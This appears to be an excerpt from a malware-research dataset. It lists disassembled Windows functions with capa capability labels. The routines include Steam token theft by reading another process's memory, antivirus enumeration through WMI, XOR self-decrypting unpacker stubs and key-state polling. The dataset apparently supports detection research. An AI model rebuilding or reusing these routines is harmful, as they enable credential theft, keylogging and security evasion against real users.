joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40e2fd
Capabilities:
Get steam token

Disassembly:
mov eax, 0x41e67c
call sub.msvcrt.dll__EH_prolog
sub esp, 0x45c
push ebx
xor ebx, ebx
push 0x64000
mov dword [ebp - 0x18], ebx
call sub.msvcrt.dll_void____cdecl_operator_new___unsigned_int_
pop ecx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x28], 0xf
mov dword [ebp - 0x2c], ebx
mov byte [ebp - 0x3c], bl
push dword [ebp + 0xc]
mov dword [ebp - 4], ebx
push ebx
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x14], eax
cmp eax, ebx
jne 0x40e367
mov ecx, dword [ebp + 8]
push 0x423bdb
call fcn.0040e1ba
push ebx
push 1
lea ecx, [ebp - 0x3c]
call fcn.0040de69
mov eax, dword [ebp + 8]
jmp 0x40e4ee
push esi
push edi
push 0x207
lea eax, [ebp - 0x25f]
push ebx
push eax
mov byte [ebp - 0x260], bl
call sub.msvcrt.dll_memset
lea eax, [ebp - 0x468]
push eax
push dword [ebp - 0x10]
push 0xfff
push 0xffffffffffffffff
push ebx
push ebx
push str.65_79_41_69_64_48_6C_77_49_6A_6F_67_49_6B_70_58_56_43_49_73_49_43_4A_68_62_47_63_69_4F_69_41_69_52_57_52_45_55_30_45_69_49_48_30
push dword [ebp - 0x14]
call fcn.0040dc13
add esp, 0x2c
mov edi, eax
mov esi, 0x208
add edi, esi
mov ecx, edx
adc ecx, ebx
mov dword [ebp - 0x1c], ecx
cmp edx, ebx
ja 0x40e3c8
jmp 0x40e48b
cmp edx, ebx
ja 0x40e3c8
cmp eax, 0xffff
jbe 0x40e3db
push ebx
push esi
lea ecx, [ebp - 0x260]
push ecx
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea eax, [ebp - 0x260]
push eax
call sub.msvcrt.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x260]
push eax
lea ecx, [ebp - 0x3c]
call fcn.0040e11f
cmp dword [ebp - 0x2c], 0x12c
jbe 0x40e431
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.0040e268
pop ecx
pop ecx
mov byte [ebp - 4], 1
cmp dword [ebp - 0x48], ebx
je 0x40e423
cmp dword [ebp - 0x48], 0xa
ja 0x40e4ba
push ebx
push 1
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], bl
call fcn.0040de69
push 0x207
lea eax, [ebp - 0x25f]
push ebx
push eax
mov byte [ebp - 0x260], bl
call sub.msvcrt.dll_memset
lea eax, [ebp - 0x468]
push eax
push dword [ebp - 0x10]
push 0xfff
push 0xffffffffffffffff
push dword [ebp - 0x1c]
push edi
push str.65_79_41_69_64_48_6C_77_49_6A_6F_67_49_6B_70_58_56_43_49_73_49_43_4A_68_62_47_63_69_4F_69_41_69_52_57_52_45_55_30_45_69_49_48_30
push dword [ebp - 0x14]
call fcn.0040dc13
add esp, 0x2c
mov ecx, eax
add ecx, esi
mov edi, edx
adc edi, ebx
mov dword [ebp - 0x18], edi
mov edi, ecx
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x1c], ecx
cmp edx, ebx
ja 0x40e3c8
jb 0x40e493
cmp eax, ebx
ja 0x40e3bd
push dword [ebp - 0x10]
call sub.msvcrt.dll_void___cdecl_operator_delete___void__
mov ecx, dword [ebp + 8]
mov dword [esp], 0x423bdc
call fcn.0040e1ba
push ebx
push 1
lea ecx, [ebp - 0x3c]
call fcn.0040de69
mov eax, dword [ebp + 8]
jmp 0x40e4ec
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x3c]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
push eax
mov ecx, esi
mov byte [esi], bl
call fcn.0040e217
push ebx
push 1
lea ecx, [ebp - 0x58]
call fcn.0040de69
push ebx
push 1
lea ecx, [ebp - 0x3c]
call fcn.0040de69
mov eax, esi
pop edi
pop esi
mov ecx, dword [ebp - 0xc]
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x40f4cb
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
mov eax, 0x41e7d8
call sub.msvcrt.dll__EH_prolog
sub esp, 0x3c
push esi
xor esi, esi
push esi
push esi
mov dword [ebp - 0x14], esi
call dword [sym.imp.ole32.dll_CoInitializeEx]
push esi
push esi
push esi
push 3
push esi
push esi
push esi
push 0xffffffffffffffff
push esi
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
lea eax, [ebp - 0x14]
push eax
push 0x4247d0
push 1
push esi
push 0x4248a0
mov dword [ebp - 0x14], esi
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x10]
push edx
push esi
push esi
push esi
push esi
push esi
push esi
push str.ROOTCIMV2
mov dword [ebp - 0x10], esi
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
test eax, eax
js 0x40f637
push esi
push esi
push 3
push 3
push esi
push esi
push 0xa
push dword [ebp - 0x10]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x18]
push edx
push esi
push 0x20
push str.Select__From_Win32_OperatingSystem
push 0x423df0
mov dword [ebp - 0x18], esi
mov ecx, dword [eax]
push eax
call dword [ecx + 0x50]
test eax, eax
js 0x40f630
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
cmp eax, esi
je 0x40f647
mov ecx, dword [eax]
lea edx, [ebp - 0x1c]
push edx
lea edx, [ebp - 0x20]
push edx
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
cmp dword [ebp - 0x1c], esi
je 0x40f647
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax]
push esi
push esi
lea edx, [ebp - 0x48]
push edx
push esi
push str.InstallDate
push eax
mov dword [ebp - 4], esi
call dword [ecx + 0x10]
push 1
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x40]
call fcn.0040f431
add esp, 0xc
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
push 0x104
push esi
call dword [0x63d15c]
push eax
call dword [0x63d0f4]
mov esi, eax
movzx eax, word [ebp - 0x2c]
push eax
movzx eax, word [ebp - 0x2e]
push eax
movzx eax, word [ebp - 0x30]
push eax
movzx eax, word [ebp - 0x38]
push eax
movzx eax, word [ebp - 0x36]
push eax
movzx eax, word [ebp - 0x32]
push eax
push str._d__d__d__d:_d:_d
push esi
call dword [0x63cf84]
mov ecx, dword [ebp + 8]
add esp, 0x20
push esi
call fcn.0040e578
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
jmp 0x40f644
push 0x423e24
jmp 0x40f63c
push 0x423e2c
mov ecx, dword [ebp + 8]
call fcn.0040e578
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
leave
ret
Function at 0x40f654
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
mov eax, 0x41e7ea
call sub.msvcrt.dll__EH_prolog
sub esp, 0x24
push esi
xor esi, esi
push esi
push esi
mov dword [ebp - 0x14], esi
call dword [sym.imp.ole32.dll_CoInitializeEx]
push esi
push esi
push esi
push 3
push esi
push esi
push esi
push 0xffffffffffffffff
push esi
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
lea eax, [ebp - 0x14]
push eax
push 0x4247d0
push 1
push esi
push 0x4248a0
mov dword [ebp - 0x14], esi
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x10]
push edx
push esi
push esi
push esi
push esi
push esi
push esi
push str.rootSecurityCenter2
mov dword [ebp - 0x10], esi
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
test eax, eax
js 0x40f75c
push esi
push esi
push 3
push 3
push esi
push esi
push 0xa
push dword [ebp - 0x10]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x18]
push edx
push esi
push 0x20
push str.Select__From_AntiVirusProduct
push 0x423ea0
mov dword [ebp - 0x18], esi
mov ecx, dword [eax]
push eax
call dword [ecx + 0x50]
test eax, eax
js 0x40f755
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
cmp eax, esi
je 0x40f76c
mov ecx, dword [eax]
lea edx, [ebp - 0x1c]
push edx
lea edx, [ebp - 0x20]
push edx
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
cmp dword [ebp - 0x1c], esi
je 0x40f76c
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax]
push esi
push esi
lea edx, [ebp - 0x30]
push edx
push esi
push str.displayName
push eax
mov dword [ebp - 4], esi
call dword [ecx + 0x10]
push dword [ebp - 0x28]
call fcn.0040f998
pop ecx
mov ecx, dword [ebp + 8]
push eax
call fcn.0040e578
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
jmp 0x40f769
push 0x423ec0
jmp 0x40f761
push str.Unknown
mov ecx, dword [ebp + 8]
call fcn.0040e578
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
leave
ret
Function at 0x411626
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
mov eax, 0x41eb38
call sub.msvcrt.dll__EH_prolog
push ecx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
call fcn.0040e5af
and dword [ebp - 4], 0
lea eax, [edi + 0xc]
push eax
lea ecx, [esi + 0xc]
call fcn.0040e5af
lea eax, [edi + 0x18]
push eax
lea ecx, [esi + 0x18]
mov byte [ebp - 4], 1
call fcn.0040e5af
mov eax, dword [edi + 0x24]
mov dword [esi + 0x24], eax
mov eax, dword [edi + 0x28]
mov dword [esi + 0x28], eax
mov eax, dword [edi + 0x2c]
mov dword [esi + 0x2c], eax
mov eax, dword [edi + 0x30]
add edi, 0x34
push edi
lea ecx, [esi + 0x34]
mov byte [ebp - 4], 2
mov dword [esi + 0x30], eax
call fcn.0040e5af
mov ecx, dword [ebp - 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret 4

Function at 0x412cb3
Capabilities:
Create thread

Disassembly:
mov eax, 0x41efbb
call sub.msvcrt.dll__EH_prolog
sub esp, 0x48
push ebx
xor ebx, ebx
push esi
mov dword [ebp - 0x10], ebx
lea ecx, [ebp - 0x54]
mov dword [ebp - 4], 2
call fcn.00411cdd
test byte [0x63cf20], 1
mov eax, dword [ebp + 0x24]
mov byte [ebp - 4], 3
je 0x412ce9
mov eax, dword [ebp + 0x28]
mov dword [ebp - 0x54], eax
lea eax, [ebp + 0x5c]
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040e636
mov eax, dword [ebp + 0x68]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0x6c]
mov dword [ebp - 0x1c], eax
lea eax, [ebp + 0x2c]
push eax
lea ecx, [ebp - 0x50]
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
call fcn.0040e636
lea eax, [ebp + 0xc]
push eax
lea ecx, [ebp - 0x44]
call fcn.0040e636
lea eax, [ebp + 0x18]
push eax
lea ecx, [ebp - 0x38]
call fcn.0040e636
mov esi, 0x3e8
jmp 0x412d3c
push esi
call dword [0x63cf9c]
cmp dword [0x63cf20], 2
jae 0x412d35
inc dword [0x63cf20]
push ebx
push ebx
lea eax, [ebp - 0x54]
push eax
push 0x411ba3
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp + 8]
push 0x423fea
call fcn.0040e578
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x10], 1
mov byte [ebp - 4], 2
call fcn.00411d29
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.0040113a
lea ecx, [ebp + 0x5c]
mov byte [ebp - 4], bl
call fcn.0040e5e3
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x414089
Capabilities:
Get disk information

Disassembly:
mov eax, 0x41f32f
call sub.msvcrt.dll__EH_prolog
sub esp, 0x45c
push ebx
push esi
push edi
lea eax, [ebp - 0x18]
xor esi, esi
push eax
inc esi
push 0x42420c
lea ecx, [ebp + 0x70]
mov dword [ebp - 4], esi
call fcn.0040e7af
push eax
call sub.msvcrt.dll_strtok_s
add esp, 0xc
xor ebx, ebx
push ebx
push 0x424210
lea ecx, [ebp + 0x64]
mov dword [ebp - 0x10], eax
xor edi, edi
mov dword [ebp - 0x14], ebx
call fcn.0040e7af
push eax
call dword [0x63d090]
test eax, eax
je 0x4140e1
mov edi, esi
push ebx
push 0x424220
lea ecx, [ebp + 0x64]
call fcn.0040e7af
push eax
call dword [0x63d090]
test eax, eax
je 0x4140ff
mov edi, esi
mov dword [ebp - 0x14], esi
mov eax, dword [ebp - 0x10]
jmp 0x41427e
cmp edi, ebx
je 0x414211
lea eax, [ebp - 0x80]
push eax
push 0x64
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
lea esi, [ebp - 0x80]
cmp byte [ebp - 0x80], bl
je 0x414269
push 0x3e8
lea eax, [ebp - 0x468]
push ebx
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp dword [ebp - 0x14], ebx
je 0x41416b
cmp eax, 2
jne 0x41416b
lea ecx, [ebp + 0x64]
call fcn.0040e7af
push eax
lea eax, [ebp - 0x468]
push eax
call dword [0x63d1a0]
push esi
push str._DRIVE_REMOVABLE_
jmp 0x414187
lea ecx, [ebp + 0x64]
call fcn.0040e7af
push eax
lea eax, [ebp - 0x468]
push eax
call dword [0x63d1a0]
push esi
push str._DRIVE_FIXED_
lea eax, [ebp - 0x468]
push eax
call fcn.0040fbc4
add esp, 0xc
push eax
lea eax, [ebp - 0x468]
push eax
call dword [0x63d1a0]
push ebx
push dword [ebp + 0x88]
lea eax, [ebp - 0x468]
push edi
push dword [ebp + 0x84]
lea ecx, [ebp + 0x58]
push dword [ebp + 0x80]
push ebx
push dword [ebp + 0x7c]
push dword [ebp - 0x10]
push eax
call fcn.0040e7af
push eax
push 0x423fb3
lea ecx, [ebp + 0x8c]
call fcn.0040e7af
push eax
sub esp, 0x50
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x1c], esp
push eax
call fcn.0040117e
call fcn.00413cb7
add esp, 0x80
push esi
call dword [0x63d018]
lea esi, [esi + eax + 1]
cmp byte [esi], bl
jne 0x414127
jmp 0x414269
push ebx
push dword [ebp + 0x88]
lea ecx, [ebp + 0x64]
push ebx
push dword [ebp + 0x84]
push dword [ebp + 0x80]
push ebx
push dword [ebp + 0x7c]
push eax
call fcn.0040e7af
push eax
lea ecx, [ebp + 0x58]
call fcn.0040e7af
push eax
push 0x423fb6
lea ecx, [ebp + 0x8c]
call fcn.0040e7af
push eax
sub esp, 0x50
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x1c], esp
push eax
call fcn.0040117e
call fcn.00413cb7
add esp, 0x80
lea eax, [ebp - 0x18]
push eax
push 0x424258
push ebx
call sub.msvcrt.dll_strtok_s
add esp, 0xc
mov dword [ebp - 0x10], eax
cmp eax, ebx
jne 0x414107
push 4
lea eax, [ebp - 0x10]
push eax
call fcn.0040f79f
lea ecx, [ebp + 8]
mov byte [ebp - 4], bl
call fcn.0040113a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x58]
call fcn.004115d6
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret

Function at 0x418de7
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42b1b0]
jne 0x418df1
repz ret
jmp fcn.0041badf
Function at 0x41c2b6
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42b1b0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0041870a
and dword [ebp - 0x14], 0
cmp dword [0x63dd74], 0
mov dword [ebp - 0x18], eax
jne 0x41c369
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x41c411
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x41c411
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x63dd74], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x63dd78], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x63dd7c], eax
call edi
push eax
call esi
mov dword [0x63dd84], eax
test eax, eax
je 0x41c369
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x63dd80], eax
mov eax, dword [0x63dd80]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x41c3c2
cmp dword [0x63dd84], ecx
je 0x41c3c2
push eax
call esi
push dword [0x63dd84]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x41c3c2
test ebx, ebx
je 0x41c3c2
call edi
test eax, eax
je 0x41c3b9
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41c3b9
test byte [ebp - 8], 1
jne 0x41c3c2
or dword [ebp + 0x10], 0x200000
jmp 0x41c3f5
mov eax, dword [0x63dd78]
cmp eax, dword [ebp - 0x18]
je 0x41c3f5
push eax
call esi
test eax, eax
je 0x41c3f5
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x41c3f5
mov eax, dword [0x63dd7c]
cmp eax, dword [ebp - 0x18]
je 0x41c3f5
push eax
call esi
test eax, eax
je 0x41c3f5
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x63dd74]
call esi
test eax, eax
je 0x41c411
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x41c413
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00418de7
leave
ret
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x4052f2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x405301
pop dword [ebp - 0x44]
mov eax, 0x405301
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0xe29401fc
sub dword [ebp - 0x54], 0x9441bcb1
mov dword [ebp - 0x50], 0xc65337d2
add dword [ebp - 0x50], 0x6be01473
mov dword [ebp - 0x4c], 0x67ff0b1e
sub dword [ebp - 0x4c], 0x1bb2c6f0
mov dword [ebp - 0x48], 0x10831b93
add dword [ebp - 0x48], 0xef7ce46d
lea eax, [ebp - 0x54]
push eax
mov eax, 0x2397ffb0
sub eax, 0x23572f5c
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x75a63e3f
add dword [ebp - 0x54], 0xfecc2b17
mov dword [ebp - 0x50], 0xadb50e33
sub dword [ebp - 0x50], 0x6c48acbe
mov dword [ebp - 0x4c], 0x877aa666
sub dword [ebp - 0x4c], 0x240b39fa
mov dword [ebp - 0x48], 0xaaff1ca0
add dword [ebp - 0x48], 0x5500e360
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0x8cb30184
sub eax, 0x8c723138
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x3749a
push 0
call eax
mov ecx, 0x207bf6a2
sub ecx, 0x207bb7a3
mov ebx, eax
mov esi, 0x1cf81802
sub esi, 0x1cb66802
add esi, dword [ebp - 0x44]
mov edx, 0xba121ba4
sub edx, 0x116bc2e6
sub dword [ebp - 0x34], esi
mov edi, dword [esi]
add dword [ebp - 0x24], 0xfb56c9fd
xor edi, edx
sub dword [ebp - 0x34], 0x72a8fb82
mov dword [ebx], edi
sub dword [ebp - 4], 0xd427484d
add ebx, 0x8e56caae
add ebx, 0x71a93556
add esi, 0x9d95f604
add esi, 0x626a0a00
loop 0x40541e
add eax, 0xeecf
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x44]
call ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x1000ffb0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 8], ecx
mov dword [ebp - 0x20], 0
call fcn.1001b8c0
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 8]
add ecx, 0x39f8
lea edx, [ebp - 0x20]
call fcn.10005350
mov eax, dword [ebp - 8]
add eax, 0x39f8
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x38]
mov dword [ebp - 0xc], ecx
lea edx, [ebp - 1]
mov dword [ebp - 0x14], edx
mov al, byte [ebp - 2]
mov byte [ebp - 3], al
mov ecx, dword [ebp - 0xc]
call fcn.10023dc0
mov dword [ebp - 0x18], 0x101a2400
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x38]
call fcn.10016d20
push 1
push 0
push 0
lea ecx, [ebp - 0x38]
call fcn.100041d0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea ecx, [ebp - 0x38]
call fcn.100169a0
mov esp, ebp
pop ebp
ret

Function at 0x10014d90
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
cmp dword [eax + 0x38], 0
je 0x10014dad
mov ecx, dword [ebp - 4]
movzx edx, byte [ecx + 0x3d]
test edx, edx
jne 0x10014db4
mov al, 1
jmp 0x10014eaf
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], 0xffffffff
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 4]
call dword [ebp - 0x20]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], 0xffffffff
mov ecx, dword [ebp - 0x24]
cmp ecx, dword [ebp - 0x28]
jne 0x10014deb
mov dword [ebp - 0x10], 1
jmp 0x10014df2
mov dword [ebp - 0x10], 0
movzx edx, byte [ebp - 0x10]
test edx, edx
je 0x10014e01
xor al, al
jmp 0x10014eaf
mov dword [ebp - 0x34], 0x20
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x38]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x14]
mov eax, dword [edx]
mov ecx, dword [eax + 0x20]
mov dword [ebp - 0x2c], ecx
lea edx, [ebp - 0x30]
push edx
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x58]
push ecx
mov edx, dword [ebp - 4]
add edx, 0x40
push edx
mov ecx, dword [ebp - 0x14]
call dword [ebp - 0x2c]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x10014e4c
cmp dword [ebp - 8], 1
je 0x10014e53
cmp dword [ebp - 8], 3
je 0x10014ea2
jmp 0x10014ead
mov eax, dword [ebp - 4]
mov byte [eax + 0x3d], 0
mov ecx, dword [ebp - 0x30]
lea edx, [ebp - 0x58]
sub ecx, edx
mov dword [ebp - 0xc], ecx
je 0x10014e82
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x4c]
push ecx
mov edx, dword [ebp - 0xc]
push edx
push 1
lea eax, [ebp - 0x58]
push eax
call fcn.101757f5
add esp, 0x10
cmp dword [ebp - 0xc], eax
je 0x10014e82
xor al, al
jmp 0x10014eaf
mov ecx, dword [ebp - 4]
movzx edx, byte [ecx + 0x3d]
test edx, edx
jne 0x10014e96
mov dword [ebp - 0x18], 1
jmp 0x10014e9d
mov dword [ebp - 0x18], 0
mov al, byte [ebp - 0x18]
jmp 0x10014eaf
mov eax, dword [ebp - 4]
mov byte [eax + 0x3d], 0
mov al, 1
jmp 0x10014eaf
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x1001b9c0
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], 0x811c9dc5
mov dword [ebp - 8], 0
jmp 0x1001b9e5
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
cmp ecx, dword [ebp - 0xc]
jae 0x1001ba08
mov edx, dword [ebp - 0x10]
add edx, dword [ebp - 8]
movzx eax, byte [edx]
xor eax, dword [ebp - 4]
mov dword [ebp - 4], eax
imul ecx, dword [ebp - 4], 0x1000193
mov dword [ebp - 4], ecx
jmp 0x1001b9dc
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x10044700
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0x811c9dc5
mov ecx, dword [ebp - 0xc]
movsx edx, byte [ecx]
test edx, edx
je 0x10044747
mov eax, dword [ebp - 0xc]
movsx ecx, byte [eax]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 8]
xor eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
imul ecx, dword [ebp - 8], 0x1000193
mov dword [ebp - 8], ecx
jmp 0x10044716
mov edx, dword [ebp - 8]
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0x6b1b9d0d
ja 0x10044773
cmp dword [ebp - 4], 0x6b1b9d0d
je 0x10044797
cmp dword [ebp - 4], 0x12b4cf9d
je 0x100447ac
cmp dword [ebp - 4], 0x4ce308fb
je 0x10044790
jmp 0x100447ba
cmp dword [ebp - 4], 0xa311b4a5
je 0x100447b3
cmp dword [ebp - 4], 0xdf3294fd
je 0x100447a5
cmp dword [ebp - 4], 0xffbb400c
je 0x1004479e
jmp 0x100447ba
mov eax, str.Pistol_Case
jmp 0x100447bc
mov eax, str.Light_Case
jmp 0x100447bc
mov eax, str.Heavy_Case
jmp 0x100447bc
mov eax, str.Explosive_Case
jmp 0x100447bc
mov eax, str.Tools_Case
jmp 0x100447bc
mov eax, str.Cash_Dufflebag
jmp 0x100447bc
xor eax, eax
mov esp, ebp
pop ebp
ret 4

Function at 0x1004c2b0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 8], ecx
mov eax, dword [ebp + 8]
cmp dword [eax + 4], 0
jne 0x1004c2cb
xor al, al
jmp 0x1004c387
mov ecx, dword [ebp + 8]
cmp dword [ecx + 4], 1
jne 0x1004c2db
mov al, 1
jmp 0x1004c387
mov edx, dword [ebp + 8]
cmp dword [edx], 0
je 0x1004c382
mov eax, dword [ebp + 8]
cmp dword [eax + 4], 2
jne 0x1004c315
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x1004c307
mov byte [ebp - 1], 1
jmp 0x1004c30b
mov byte [ebp - 1], 0
mov eax, dword [ebp - 8]
mov cl, byte [ebp - 1]
mov byte [eax], cl
jmp 0x1004c35e
mov edx, dword [ebp + 8]
cmp dword [edx + 4], 3
jne 0x1004c35e
mov eax, dword [ebp - 8]
movzx ecx, byte [eax + 1]
test ecx, ecx
jne 0x1004c35e
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx ecx, ax
test ecx, ecx
je 0x1004c35e
mov edx, dword [ebp - 8]
movzx eax, byte [edx]
test eax, eax
jne 0x1004c34f
mov dword [ebp - 0xc], 1
jmp 0x1004c356
mov dword [ebp - 0xc], 0
mov ecx, dword [ebp - 8]
mov dl, byte [ebp - 0xc]
mov byte [ecx], dl
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
